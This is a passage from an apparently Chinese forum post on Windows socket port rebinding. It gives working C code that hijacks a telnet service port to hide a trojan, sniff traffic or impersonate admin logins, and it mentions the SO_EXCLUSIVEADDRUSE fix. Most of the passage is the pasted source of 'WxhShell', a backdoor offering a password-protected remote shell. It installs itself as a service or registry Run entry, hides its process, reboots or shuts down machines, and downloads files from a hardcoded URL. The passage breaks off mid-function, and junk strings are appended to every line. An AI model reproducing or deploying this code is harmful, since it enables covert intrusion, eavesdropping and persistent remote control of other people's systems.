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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7$b1<.WX  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |pK !S  
gi8FHSU|G  
  saddr.sin_family = AF_INET; wY#E?,  
R-:2HRaA  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ?[AD=rUC  
0sqFF[i  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >z03{=sAN  
]]mJ']l  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 qM`}{ /i  
x:;kSh  
  这意味着什么?意味着可以进行如下的攻击: Q8NX)R  
e(sk[guvX  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 }EPY^VIw  
r$1Qf}J3=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) yevPHN"M  
)4OxY[2J  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {=WgzP  
yfSmDPh  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  hM{bavd  
NUZl`fu1Z4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 6<]lW  
2iOV/=+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 M+>u/fldV  
3Ul*QN{6  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 S!UaH>Rh  
3<!7>]A  
  #include M7T5 ~/4  
  #include %4H%?4  
  #include  Sf'CN8  
  #include    I0 -MRU~[K  
  DWORD WINAPI ClientThread(LPVOID lpParam);   %{|pj +  
  int main() \<' ?8ri#  
  { L#J1b!D&<6  
  WORD wVersionRequested; fl(wV.Je|  
  DWORD ret; \Z/@C lCm  
  WSADATA wsaData; s#11FfF`  
  BOOL val; *T/']t  
  SOCKADDR_IN saddr; Wc#24:OKe3  
  SOCKADDR_IN scaddr; +2{Lh7Ks  
  int err; 6t$8M[0-U  
  SOCKET s; khe}*y  
  SOCKET sc; u[YGm:}  
  int caddsize; gJXaPJA{  
  HANDLE mt; }OUtsh]y  
  DWORD tid;   AKC`TA*E  
  wVersionRequested = MAKEWORD( 2, 2 ); \~W'v3:W  
  err = WSAStartup( wVersionRequested, &wsaData ); 8=l%5r^cq  
  if ( err != 0 ) { cr3^6HB  
  printf("error!WSAStartup failed!\n");  @5FQX  
  return -1; bw7@5=?;  
  } Ytkv!]"  
  saddr.sin_family = AF_INET; b;n[mk  
   az$FnVNn=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 v+XJ*N[W  
%v|B *  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); vzM ^$V  
  saddr.sin_port = htons(23); .]^?<bG  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ueudRb  
  { G[=c Ss,  
  printf("error!socket failed!\n"); $i&zex{\  
  return -1; uFE)17E  
  } C Z;6@{ o  
  val = TRUE; Y7|EIAU5Y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 w{KavU5W  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Hka2  
  { L,\Iasv  
  printf("error!setsockopt failed!\n"); aUp g u"  
  return -1; 80I#TA6C  
  } g#bRT*,L  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^W ^OfY  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 @dK Tx#gZ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 s<Ziegmw|g  
+>,I1{u%&  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) m`XHKRp  
  { 3BI1fXT4=j  
  ret=GetLastError(); s!J9|]o  
  printf("error!bind failed!\n"); R_C)  
  return -1; 4 KiY6)  
  } (=0.inZ  
  listen(s,2); ~$'awY  
  while(1) ;l+Leex  
  { By |4 m  
  caddsize = sizeof(scaddr); .Mbz3;i0  
  //接受连接请求 ?< +WG/(d  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @{Q4^'K"  
  if(sc!=INVALID_SOCKET) S[gx{Bxiw  
  { 7#XzrT]  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); qGo.WZ$  
  if(mt==NULL) IxU/?Zm  
  { 1zv'.uu.,  
  printf("Thread Creat Failed!\n"); :;}P*T*PU  
  break; ?}oFg#m-<L  
  } `?]k{ l1R  
  } la!~\wpa  
  CloseHandle(mt); dPlV>IM$z  
  } RZLq]8pM  
  closesocket(s); FrS]|=LJhX  
  WSACleanup(); tmq OJ  
  return 0; ?s01@f#  
  }   [,Gg^*umS  
  DWORD WINAPI ClientThread(LPVOID lpParam) `yyG/l  
  { o!Zb0/AP)  
  SOCKET ss = (SOCKET)lpParam; K+eM   
  SOCKET sc; [0!(xp^  
  unsigned char buf[4096]; .('SW\u-  
  SOCKADDR_IN saddr; Z@HEj_n  
  long num; [txE .7p  
  DWORD val; j#|ZP-=1_  
  DWORD ret; vh^VxS  
  //如果是隐藏端口应用的话,可以在此处加一些判断 }2jn[${ pr  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @d'j zs  
  saddr.sin_family = AF_INET; e'~3oqSvR  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); zhQJy?>'m  
  saddr.sin_port = htons(23); 7!1S)dup  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3] Ct6  
  { (PL UFT  
  printf("error!socket failed!\n"); m O_af  
  return -1; cuX)8+  
  } ch]IzdD  
  val = 100; #a#F,ZT  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }j Xfb@`K  
  { O- wzz  
  ret = GetLastError(); -7ep{p-  
  return -1; sJZ iI}Xc  
  } ,tFg4k[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) YK_ 7ip.a[  
  { )~>YH*g  
  ret = GetLastError(); 3o*YzwRt  
  return -1; - ).C  
  } )0`C@um  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) cAw/I@jG  
  { e\rp)[>'  
  printf("error!socket connect failed!\n"); :OT&  
  closesocket(sc); M\j.8jG  
  closesocket(ss); _ q"Gix  
  return -1; 43cE`9~  
  } CIWO7bS  
  while(1) KNl$3nX  
  { 0GLM(JmK  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~%oR[B7=|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 0-gAyiKx?  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 @7 }W=HB  
  num = recv(ss,buf,4096,0); >P(.:_ ^p  
  if(num>0) Uo49*Mr  
  send(sc,buf,num,0); ?,/ }`3Vw  
  else if(num==0) h[ ZN+M  
  break; kJU2C=m@e2  
  num = recv(sc,buf,4096,0); gXU8hTd8  
  if(num>0) u8^lB7!e/  
  send(ss,buf,num,0);  7GGUV  
  else if(num==0)  *CMx-_  
  break; BT$_@%ea&  
  } t20K!}D_  
  closesocket(ss); TeQV?ZQ#}  
  closesocket(sc); xdPx{"C 3  
  return 0 ; %T[]zJ(  
  } ceA9) {  
}V>T M{  
U$g?!Yl0  
========================================================== \8tsDG(1 '  
H,J8M{  
下边附上一个代码,,WXhSHELL l;U?Z'n  
tPvpJX6kP  
========================================================== "@kaHIf[  
f$( e\+ +  
#include "stdafx.h" 6!o1XQr=Z  
hTkyz la  
#include <stdio.h> jPeYmv]  
#include <string.h> f1? >h\F8  
#include <windows.h> WIOV2+  
#include <winsock2.h> ICCc./l|  
#include <winsvc.h> M5B# TAybC  
#include <urlmon.h> MD]>g>  
pAEx#ck  
#pragma comment (lib, "Ws2_32.lib") ~[: 2I  
#pragma comment (lib, "urlmon.lib") t^HRgY'NjM  
*j=% #  
#define MAX_USER   100 // 最大客户端连接数 GbyJ:  
#define BUF_SOCK   200 // sock buffer Ac6=(B  
#define KEY_BUFF   255 // 输入 buffer %y@AA>x!  
*:1ey{w:  
#define REBOOT     0   // 重启 y(Td/rY.  
#define SHUTDOWN   1   // 关机 9uY'E'm*  
Tw% 3p=  
#define DEF_PORT   5000 // 监听端口 6~{C.No}  
zDp2g)  
#define REG_LEN     16   // 注册表键长度 Z)!C'cb  
#define SVC_LEN     80   // NT服务名长度 J4utIGF  
:N@^?q{b  
// 从dll定义API B!yr!DWv  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3T 9j@N77  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /?!u{(h}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <i[HbgUlO.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q4q6c")zp  
ex|F|0k4}  
// wxhshell配置信息 ijcm2FJcG  
struct WSCFG { PH"%kCI:  
  int ws_port;         // 监听端口 $( )>g>%  
  char ws_passstr[REG_LEN]; // 口令 g`^x@rj`E  
  int ws_autoins;       // 安装标记, 1=yes 0=no V :eD]zq5  
  char ws_regname[REG_LEN]; // 注册表键名 =43auFY-P  
  char ws_svcname[REG_LEN]; // 服务名 @o^Ww  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;jPXs  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <VcQ{F  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 MDN--p08  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4 :=]<sc,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" DlT{`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2:R+tn(F  
*I'yH8Fcn  
}; hph4`{T  
h![#;>(  
// default Wxhshell configuration f?b"iA(6  
struct WSCFG wscfg={DEF_PORT, P2!C|SLK  
    "xuhuanlingzhe", zX~MC?,W1  
    1, l,: F  
    "Wxhshell", Q&&@v4L   
    "Wxhshell", t5zKW _J7  
            "WxhShell Service", `6YN3XS  
    "Wrsky Windows CmdShell Service", f)!Z~t &  
    "Please Input Your Password: ", HDKbF/  
  1, -8Xf0_  
  "http://www.wrsky.com/wxhshell.exe", +#By*;BJ  
  "Wxhshell.exe" vy/-wP|1  
    }; ]9X DS[<2`  
h~26WLf.  
// 消息定义模块 :EH=_"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /bEAK-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; G:JR7N$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; k8Xm n6X  
char *msg_ws_ext="\n\rExit."; C?Ucu]cW  
char *msg_ws_end="\n\rQuit."; :LTN!jj  
char *msg_ws_boot="\n\rReboot..."; nm+s{  
char *msg_ws_poff="\n\rShutdown..."; YP9^Bp{0  
char *msg_ws_down="\n\rSave to "; 9cgU T@a  
zJXplvaL;  
char *msg_ws_err="\n\rErr!"; z=FZiH  
char *msg_ws_ok="\n\rOK!"; .-=vx r  
Tr|JYLwF  
char ExeFile[MAX_PATH]; *kVV+H<X|b  
int nUser = 0; b\ PgVBf9  
HANDLE handles[MAX_USER]; KgG4*<  
int OsIsNt; ':}\4j&{E  
.l|$dE/E  
SERVICE_STATUS       serviceStatus; I|J/F}@p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Mlq.?-QgIL  
DN/YHSYK  
// 函数声明 a> )f=uS  
int Install(void); w:l"\Tm  
int Uninstall(void); <or2  
int DownloadFile(char *sURL, SOCKET wsh); W l1 6`9  
int Boot(int flag); - DCbko  
void HideProc(void); yBRC*0+Vy  
int GetOsVer(void); m3ff;,  
int Wxhshell(SOCKET wsl); 7rPF$ \#  
void TalkWithClient(void *cs); 8] ikygt"  
int CmdShell(SOCKET sock); J=L5=G7(  
int StartFromService(void); '!$%> ||S  
int StartWxhshell(LPSTR lpCmdLine); H:G1BZjq  
;wVwX6:ZKr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); or]IZ2^n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); SzRmF1<  
?q&T$8zc4  
// 数据结构和表定义 GF WA>5n'  
SERVICE_TABLE_ENTRY DispatchTable[] =  p#[.{  
{ y?0nI<}}HK  
{wscfg.ws_svcname, NTServiceMain}, <1%$Vq  
{NULL, NULL} tu?MYp;  
}; MPk5^ua:  
rs.M]8a2{&  
// 自我安装 6^Sa;  
int Install(void)  XlJZhc  
{ `"~%bS  
  char svExeFile[MAX_PATH]; QM]YJr3r E  
  HKEY key; @P" p+  
  strcpy(svExeFile,ExeFile); T)}) pt!V  
`lPfb[b  
// 如果是win9x系统,修改注册表设为自启动 ipILG4  
if(!OsIsNt) { kW (Bkuc)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j7c3(*Pl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wPl%20t  
  RegCloseKey(key); go"Hf_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2"5v[,$1H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :Yks|VJ1  
  RegCloseKey(key); _2nx^E(pd  
  return 0; ;$tSb ~K+  
    } sC;+F*0g  
  } ?s _5&j7  
} ASfaX:ke  
else { wf $s*|z  
Dxxm="FQZ  
// 如果是NT以上系统,安装为系统服务 '{`$#@a.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $kKjgQ S(  
if (schSCManager!=0) T^v}mWCZ  
{ >*n0n!vF  
  SC_HANDLE schService = CreateService yWya&|D9  
  ( gO^gxJ'0t  
  schSCManager, E!#WnSpnK  
  wscfg.ws_svcname, _y>~ yZx  
  wscfg.ws_svcdisp, PT9*)9<L  
  SERVICE_ALL_ACCESS, Faf&U%]*`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~nPtlrQa#*  
  SERVICE_AUTO_START, 7yba04D)  
  SERVICE_ERROR_NORMAL, Lxk[;j+  
  svExeFile, {_Gs*<.  
  NULL, ZW}_Q s  
  NULL, mQ=#nk$~g  
  NULL, nLiY%x`S  
  NULL, `g})|Gx  
  NULL )0R'(#  
  ); |W\(kb+  
  if (schService!=0) `#gie$B{  
  { Bw{I;rW{2  
  CloseServiceHandle(schService); -GgA&dh  
  CloseServiceHandle(schSCManager); S+2(f> Z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h*Pc=/p  
  strcat(svExeFile,wscfg.ws_svcname); f`/x"@~H5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,iq4Iw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #V}IvQl|  
  RegCloseKey(key); p^u:&Quac  
  return 0; yOg+iFTr  
    } O#u=c1 ?:  
  } ,u g@f-T  
  CloseServiceHandle(schSCManager); 9k~8  
} n}77##+R&C  
} 2dzrRH  
9$m|'$p3sG  
return 1; C/&-l{7  
} xRsWI!d+|  
Jq^T1_iqn  
// 自我卸载 orvp*F{7[H  
int Uninstall(void) Z`BK/:vo3H  
{ - CWywuD  
  HKEY key; y|q3Wa  
nJLFfXWx  
if(!OsIsNt) { 8Bg;Kh6B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \r>6`-cs]  
  RegDeleteValue(key,wscfg.ws_regname); Fr$5RAyg  
  RegCloseKey(key); 2wgg7[tGi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pU7lnS[  
  RegDeleteValue(key,wscfg.ws_regname); 6Kb1~jY  
  RegCloseKey(key); jb;hcraR  
  return 0; tdaL/rRe  
  } y#$CMf -q^  
} e NafpK  
} R^e.s -  
else { s|B3~Q]  
&l[$*<P5V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w8D"CwS1Rx  
if (schSCManager!=0) A_#DJJMm  
{ !&Pui{F  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /[>sf[X\I9  
  if (schService!=0) T${Q.zHY[!  
  { N{~Y J$!8  
  if(DeleteService(schService)!=0) { ]]juN  
  CloseServiceHandle(schService); @Pzu^  
  CloseServiceHandle(schSCManager); E=w1=,/y  
  return 0; 14'45  
  } .k \@zQ|Ta  
  CloseServiceHandle(schService); u=_mvN  
  } t@Nyr&|D  
  CloseServiceHandle(schSCManager); Dl8;$~  
} M {Q;:  
} wIBO ^w\J  
8Dm%@*B^b  
return 1; K:Q<CQ2  
} BFJnV.0M!  
[R7Y}k:9U  
// 从指定url下载文件 s&!a  
int DownloadFile(char *sURL, SOCKET wsh) '-/xyAzS  
{ k,F6Tx  
  HRESULT hr; xpx\=iAe  
char seps[]= "/"; A6iq[b]  
char *token; Nl(3Xqov  
char *file; fe#\TNeQJ[  
char myURL[MAX_PATH]; D+7Rz_=  
char myFILE[MAX_PATH]; q=qcm`ce  
Mzw X>3x  
strcpy(myURL,sURL); U2~kJ  
  token=strtok(myURL,seps); ?#YE`]  
  while(token!=NULL) CoAv Sw  
  { Km6YP!i  
    file=token; -{vKus  
  token=strtok(NULL,seps); +V^;.P</  
  } oD1/{dRzj  
1\rz%E  
GetCurrentDirectory(MAX_PATH,myFILE); VEw"  
strcat(myFILE, "\\"); VD]zz ^  
strcat(myFILE, file); )M//l1  
  send(wsh,myFILE,strlen(myFILE),0); 1s@+;QUib  
send(wsh,"...",3,0); 3fJc 9|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l/ ;  
  if(hr==S_OK) "4,?uPi  
return 0; ">j j  
else {Wu$YWE*sx  
return 1; yw3$2EW  
Y<ql49-X  
} 9 ea\vZ  
,V:SN~P66+  
// 系统电源模块 ^J8lBLqe  
int Boot(int flag) ~Ti'FhN  
{ ZH)="qx [  
  HANDLE hToken; GU8sO@S5#  
  TOKEN_PRIVILEGES tkp;  !V g`  
4J([6<  
  if(OsIsNt) { pDCeQ6?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KX7 >^Bt&k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6,9>g0y'NG  
    tkp.PrivilegeCount = 1; ;<2 G  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4G>H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U,-39mr  
if(flag==REBOOT) { h"lv7;B$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @qlK6tE`  
  return 0; \3aoM{ztD  
} #!KE\OI;@5  
else { aC.~&MxFC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9dUravC7  
  return 0; t#pS{.I  
} z}ddqZ27G$  
  } qF-@V25P  
  else { W= qVc  
if(flag==REBOOT) { 7 uKY24  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `o8/(`a  
  return 0; '>ssqBnI  
} M |`U"vO  
else { `LE6jp3,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) //<nr\oP  
  return 0; 28J^DMOW  
} hP)LY=- 2  
} u'W8;G*~  
iBgx  
return 1; "z=SO1  
} [>%xd)8.c  
g:dH~>  
// win9x进程隐藏模块 &&:Y Vd  
void HideProc(void) !~D}/Q;#}\  
{ t*T2Z-!P  
}m;,Q9:+m^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i,4>0o?  
  if ( hKernel != NULL ) lun\`f 5Q  
  { M={V|H0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <drODjB  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8tFoN*M  
    FreeLibrary(hKernel); EbE-}>7OO  
  } 5BKt1%Pg  
@A89eZbW  
return; C$D -Pt"+  
} ?9\EN|O^  
tL)t"  i  
// 获取操作系统版本 2Kyl/C,  
int GetOsVer(void) j<@lX^  
{ s`'{I8'p/  
  OSVERSIONINFO winfo; ?Yk.$90  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =4PV;>X  
  GetVersionEx(&winfo); ~W+kiTsD?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j=aI9p  
  return 1; DLMM/WJg@  
  else uIZ-#q  
  return 0; o`P %&  
} (ECnM ti+  
^ xh;  
// 客户端句柄模块 LNpup`>`  
int Wxhshell(SOCKET wsl) #32"=MfQn  
{ %<*g!y `  
  SOCKET wsh; HbA kZP  
  struct sockaddr_in client; 0ANZAX5  
  DWORD myID; kZZh"#W: L  
cm[&?  
  while(nUser<MAX_USER) Dq5j1m.  
{ $gy*D7  
  int nSize=sizeof(client); X4E%2-m@'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a8iQ4   
  if(wsh==INVALID_SOCKET) return 1; =&2 Lb  
^, _w$H  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Md2>3-  
if(handles[nUser]==0) khrb-IY@  
  closesocket(wsh); s,=i_gyPQ  
else /.MN  
  nUser++; !0@Yplj  
  } U4-g^S[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ZUR6n>r  
4?7W+/~<&  
  return 0; ytoo~n  
} /ZPyN<@  
`~Zs0  
// 关闭 socket QQ~-  
void CloseIt(SOCKET wsh) @&:ar  
{ X{'q24\F  
closesocket(wsh); (Cd\G=PK  
nUser--; -[!P!d=  
ExitThread(0); *ikc]wQr$  
} -~ Mb  
af+IP_6 .  
// 客户端请求句柄 80/F7q'tn  
void TalkWithClient(void *cs) .#Z%1U%P.  
{ #9xd[A : N  
m{uxI za  
  SOCKET wsh=(SOCKET)cs; )3w@]5j  
  char pwd[SVC_LEN]; A1#%`^W9  
  char cmd[KEY_BUFF]; x`mN U  
char chr[1]; {{MRELipW  
int i,j; 9Hu/u=vB<  
JSW}*HR  
  while (nUser < MAX_USER) { X+}1  
"4H +!r}  
if(wscfg.ws_passstr) { ^Z# W_R\l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V<@ o<R  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y_IM@)1H~  
  //ZeroMemory(pwd,KEY_BUFF); yo )%J  
      i=0; R_7 d@FQ1  
  while(i<SVC_LEN) { }36QsH8  
<U >>ZSi  
  // 设置超时 ?)X,0P'  
  fd_set FdRead; )'%$V%9  
  struct timeval TimeOut; [4C:r!  
  FD_ZERO(&FdRead); #KXa&C  
  FD_SET(wsh,&FdRead); ;b(p=\i  
  TimeOut.tv_sec=8; ,%Up0Rr,  
  TimeOut.tv_usec=0; &PK\|\\2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "7V2lu  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :8+Nid)  
1/-43B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )ZqJh  
  pwd=chr[0]; #w-xBM @  
  if(chr[0]==0xd || chr[0]==0xa) { q51Uf_\/  
  pwd=0; p)3U7"q  
  break; @u%_1  
  } EC8b=B<DE  
  i++; .dQQoyR+O  
    } +H #U~p$  
F>[,zN  
  // 如果是非法用户,关闭 socket Ii_ojQP-z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nMvKTH  
} {0^&SI"5`E  
ehG/zVgn  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ve!fU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !M]\I&  
sZm$|T0  
while(1) { i21Gw41p:  
i?e`:}T  
  ZeroMemory(cmd,KEY_BUFF); $Gv9m  
/BV03B  
      // 自动支持客户端 telnet标准   c#]q^L\x  
  j=0; <_Q:'cx'  
  while(j<KEY_BUFF) { hq/k*;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MxcFvo*LCp  
  cmd[j]=chr[0]; wz.6du6-  
  if(chr[0]==0xa || chr[0]==0xd) { 7=OQ8IM !  
  cmd[j]=0; H4!+q:<  
  break; /E5 5Pec  
  } ^:* 1d \  
  j++; Z(_ZAB%+D  
    } *`Yv.=cd  
JEgx@};O  
  // 下载文件 JPWOPB'H  
  if(strstr(cmd,"http://")) { ~JD nKo  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'X !?vK^]p  
  if(DownloadFile(cmd,wsh)) `z )N,fF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1YJC{bO  
  else A7`1-#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UaViI/ks  
  } }~h(w^t  
  else { XNb ZNaAd  
GS Q/NYK  
    switch(cmd[0]) { u% n*gcY  
  xOHgp=#D  
  // 帮助 [mr9(m[F  
  case '?': { m7GR[MR  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u=/CRjot  
    break; >ap1"n9k  
  } A4?+T+#d  
  // 安装 lP!;3iJ B  
  case 'i': { !\;FNu8_.  
    if(Install()) <P;}unq.kw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (nab  
    else [wB9s{CX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]UG*r%9  
    break;  g}U3y'  
    } la?Wnw  
  // 卸载 Q\,o :ZU_  
  case 'r': { TbF4/T1b  
    if(Uninstall()) |xvy')(b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0% #<c p  
    else <ExZ:ip  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tpTAeQ*:d  
    break; 1G'`2ATF*  
    } 3 Lsj}p  
  // 显示 wxhshell 所在路径 1#4PG'H  
  case 'p': { cl*PFQp9j  
    char svExeFile[MAX_PATH]; @M8|(N%  
    strcpy(svExeFile,"\n\r"); ~|AwN [  
      strcat(svExeFile,ExeFile); r]Ff{la5  
        send(wsh,svExeFile,strlen(svExeFile),0); @hImk`&[N  
    break; #vqo -y7@  
    } ([V V%ovZ  
  // 重启 lM[XS4/TRa  
  case 'b': { z]bwnJfd  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VCcr3Dx()F  
    if(Boot(REBOOT)) *I0-O*Xr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rUjdq/I:Z  
    else { oejfU;+$  
    closesocket(wsh); M}wXJ8aF?  
    ExitThread(0); 5 VA(tzmCt  
    } q0bHB_|wL  
    break; ?`Y\)'}   
    } <x),,a=X  
  // 关机 \rV B5|D?  
  case 'd': { D*Q.G8(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kz S=g|_  
